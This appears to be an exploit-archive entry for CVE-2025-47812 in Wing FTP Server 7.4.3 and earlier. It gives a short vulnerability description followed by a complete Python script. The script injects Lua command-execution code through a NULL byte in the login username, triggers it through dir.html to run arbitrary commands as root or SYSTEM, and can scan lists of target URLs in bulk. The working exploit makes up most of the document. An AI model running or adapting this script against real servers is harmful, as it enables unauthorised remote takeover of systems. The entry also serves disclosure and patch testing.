1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 |
# Exploit Title: Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE) # CVE: CVE-2025-47812 # Date: 2025-06-30 # Exploit Author: Sheikh Mohammad Hasan aka 4m3rr0r (https://github.com/4m3rr0r) # Vendor Homepage: https://www.wftpserver.com/ # Version: Wing FTP Server <= 7.4.3 # Tested on: Linux (Root Privileges), Windows (SYSTEM Privileges) # Description: # Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE) # flaw (CVE-2025-47812). This vulnerability arises from improper handling of NULL bytes in the 'username' # parameter during login, leading to Lua code injection into session files. These maliciously crafted # session files are subsequently executed when authenticated functionalities (e.g., /dir.html) are accessed, # resulting in arbitrary command execution on the server with elevated privileges (root on Linux, SYSTEM on Windows). # The exploit leverages a discrepancy between the string processing in c_CheckUser() (which truncates at NULL) # and the session creation logic (which uses the full unsanitized username). # Proof-of-Concept (Python): # The provided Python script automates the exploitation process. # It injects a NULL byte followed by Lua code into the username during a POST request to loginok.html. # Upon successful authentication (even anonymous), a UID cookie is returned. # A subsequent GET request to dir.html using this UID cookie triggers the execution of the injected Lua code, # leading to RCE. import requests import re import argparse # ANSI color codes RED = "\033[91m" GREEN = "\033[92m" RESET = "\033[0m" def print_green(text): print(f"{GREEN}{text}{RESET}") def print_red(text): print(f"{RED}{text}{RESET}") def run_exploit(target_url, command, username="anonymous", verbose=False): login_url = f"{target_url}/loginok.html" login_headers = { "Host": target_url.split('//')[1].split('/')[0], "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": target_url, "Connection": "keep-alive", "Referer": f"{target_url}/login.html?lang=english", "Cookie": "client_lang=english", "Upgrade-Insecure-Requests": "1", "Priority": "u=0, i" } from urllib.parse import quote encoded_username = quote(username) payload = ( f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")%0dlocal+r+%3d+h%3aread(\"*a\")" "%0dh%3aclose()%0dprint(r)%0d--&password=" ) if verbose: print_green(f"[+] Sending POST request to {login_url} with command: '{command}' and username: '{username}'") try: login_response = requests.post(login_url, headers=login_headers, data=payload, timeout=10) login_response.raise_for_status() except requests.exceptions.RequestException as e: print_red(f"[-] Error sending POST request to {login_url}: {e}") return False set_cookie = login_response.headers.get("Set-Cookie", "") match = re.search(r'UID=([^;]+)', set_cookie) if not match: print_red("[-] UID not found in Set-Cookie. Exploit might have failed or response format changed.") return False uid = match.group(1) if verbose: print_green(f"[+] UID extracted: {uid}") dir_url = f"{target_url}/dir.html" dir_headers = { "Host": login_headers["Host"], "User-Agent": login_headers["User-Agent"], "Accept": login_headers["Accept"], "Accept-Language": login_headers["Accept-Language"], "Accept-Encoding": login_headers["Accept-Encoding"], "Connection": "keep-alive", "Cookie": f"UID={uid}", "Upgrade-Insecure-Requests": "1", "Priority": "u=0, i" } if verbose: print_green(f"[+] Sending GET request to {dir_url} with UID: {uid}") try: dir_response = requests.get(dir_url, headers=dir_headers, timeout=10) dir_response.raise_for_status() except requests.exceptions.RequestException as e: print_red(f"[-] Error sending GET request to {dir_url}: {e}") return False body = dir_response.text clean_output = re.split(r'<\?xml', body)[0].strip() if verbose: print_green("\n--- Command Output ---") print(clean_output) print_green("----------------------") else: if clean_output: print_green(f"[+] {target_url} is vulnerable!") else: print_red(f"[-] {target_url} is NOT vulnerable.") return bool(clean_output) def main(): parser = argparse.ArgumentParser(description="Exploit script for command injection via login.html.") parser.add_argument("-u", "--url", type=str, help="Target URL (e.g., http://192.168.134.130). Required if -f not specified.") parser.add_argument("-f", "--file", type=str, help="File containing list of target URLs (one per line).") parser.add_argument("-c", "--command", type=str, help="Custom command to execute. Default: whoami. If specified, verbose output is enabled automatically.") parser.add_argument("-v", "--verbose", action="store_true", help="Show full command output (verbose mode). Ignored if -c is used since verbose is auto-enabled.") parser.add_argument("-o", "--output", type=str, help="File to save vulnerable URLs.") parser.add_argument("-U", "--username", type=str, default="anonymous", help="Username to use in the exploit payload. Default: anonymous") args = parser.parse_args() if not args.url and not args.file: parser.error("Either -u/--url or -f/--file must be specified.") command_to_use = args.command if args.command else "whoami" verbose_mode = True if args.command else args.verbose vulnerable_sites = [] targets = [] if args.file: try: with open(args.file, 'r') as f: targets = [line.strip() for line in f if line.strip()] except Exception as e: print_red(f"[-] Could not read target file '{args.file}': {e}") return else: targets = [args.url] for target in targets: print(f"\n[*] Testing target: {target}") is_vulnerable = run_exploit(target, command_to_use, username=args.username, verbose=verbose_mode) if is_vulnerable: vulnerable_sites.append(target) if args.output and vulnerable_sites: try: with open(args.output, 'w') as out_file: for site in vulnerable_sites: out_file.write(site + "\n") print_green(f"\n[+] Vulnerable sites saved to: {args.output}") except Exception as e: print_red(f"[-] Could not write to output file '{args.output}': {e}") if __name__ == "__main__": main() |